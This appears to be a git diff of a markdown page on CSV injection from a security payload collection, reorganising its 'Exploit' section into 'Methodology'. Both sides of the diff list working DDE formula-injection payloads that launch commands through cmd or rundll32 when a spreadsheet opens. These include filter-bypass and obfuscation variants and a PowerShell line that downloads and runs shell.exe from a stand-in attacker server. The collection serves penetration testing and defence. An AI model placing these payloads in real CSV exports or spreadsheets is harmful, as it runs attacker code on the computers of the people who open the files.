|
1 | 1 | # CSV Injection |
2 | 2 |
|
3 | | -Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed. |
| 3 | +> Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel, Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed. |
4 | 4 |
|
5 | | -## Exploit |
6 | 5 |
|
7 | | -Basic exploits with **Dynamic Data Exchange**. |
8 | | - |
9 | | - |
10 | | -Payload: pop a calc |
11 | | - |
12 | | -```powershell |
13 | | -DDE ("cmd";"/C calc";"!A0")A0 |
14 | | -@SUM(1+1)*cmd|' /C calc'!A0 |
15 | | -=2+5+cmd|' /C calc'!A0 |
16 | | -``` |
17 | | - |
18 | | -Payload: pop a notepad |
19 | | - |
20 | | -```powershell |
21 | | -=cmd|' /C notepad'!'A1' |
22 | | -``` |
23 | | - |
24 | | -Payload: powershell download and execute |
| 6 | +## Summary |
25 | 7 |
|
26 | | -```powershell |
27 | | -=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 |
28 | | -``` |
29 | | - |
30 | | -Payload: Prefix obfuscation and command chaining |
| 8 | +* [Methodology](#methodology) |
| 9 | +* [References](#references) |
31 | 10 |
|
32 | | -```powershell |
33 | | -=AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A |
34 | | -=cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A |
35 | | -+thespanishinquisition(cmd|'/c calc.exe'!A |
36 | | -= cmd|'/c calc.exe'!A |
37 | | -``` |
38 | 11 |
|
39 | | -Payload: Using rundll32 instead of cmd |
| 12 | +## Methodology |
40 | 13 |
|
41 | | -```powershell |
42 | | -=rundll32|'URL.dll,OpenURL calc.exe'!A |
43 | | -=rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A |
44 | | -``` |
45 | | - |
46 | | -Payload: Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed. |
| 14 | +Basic exploits with **Dynamic Data Exchange**. |
47 | 15 |
|
48 | | -```powershell |
49 | | -= C m D | '/ c c al c . e x e ' ! A |
50 | | -``` |
| 16 | +* Spawn a calc |
| 17 | + ```powershell |
| 18 | + DDE ("cmd";"/C calc";"!A0")A0 |
| 19 | + @SUM(1+1)*cmd|' /C calc'!A0 |
| 20 | + =2+5+cmd|' /C calc'!A0 |
| 21 | + =cmd|' /C calc'!'A1' |
| 22 | + ``` |
| 23 | +
|
| 24 | +* PowerShell download and execute |
| 25 | + ```powershell |
| 26 | + =cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 |
| 27 | + ``` |
| 28 | +
|
| 29 | +* Prefix obfuscation and command chaining |
| 30 | + ```powershell |
| 31 | + =AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc.exe'!A |
| 32 | + =cmd|'/c calc.exe'!A*cmd|'/c calc.exe'!A |
| 33 | + +thespanishinquisition(cmd|'/c calc.exe'!A |
| 34 | + = cmd|'/c calc.exe'!A |
| 35 | + ``` |
| 36 | +
|
| 37 | +* Using rundll32 instead of cmd |
| 38 | + ```powershell |
| 39 | + =rundll32|'URL.dll,OpenURL calc.exe'!A |
| 40 | + =rundll321234567890abcdefghijklmnopqrstuvwxyz|'URL.dll,OpenURL calc.exe'!A |
| 41 | + ``` |
| 42 | +
|
| 43 | +* Using null characters to bypass dictionary filters. Since they are not spaces, they are ignored when executed. |
| 44 | + ```powershell |
| 45 | + = C m D | '/ c c al c . e x e ' ! A |
| 46 | + ``` |
51 | 47 |
|
52 | 48 | Technical details of the above payloads: |
53 | 49 |
|
|
0 commit comments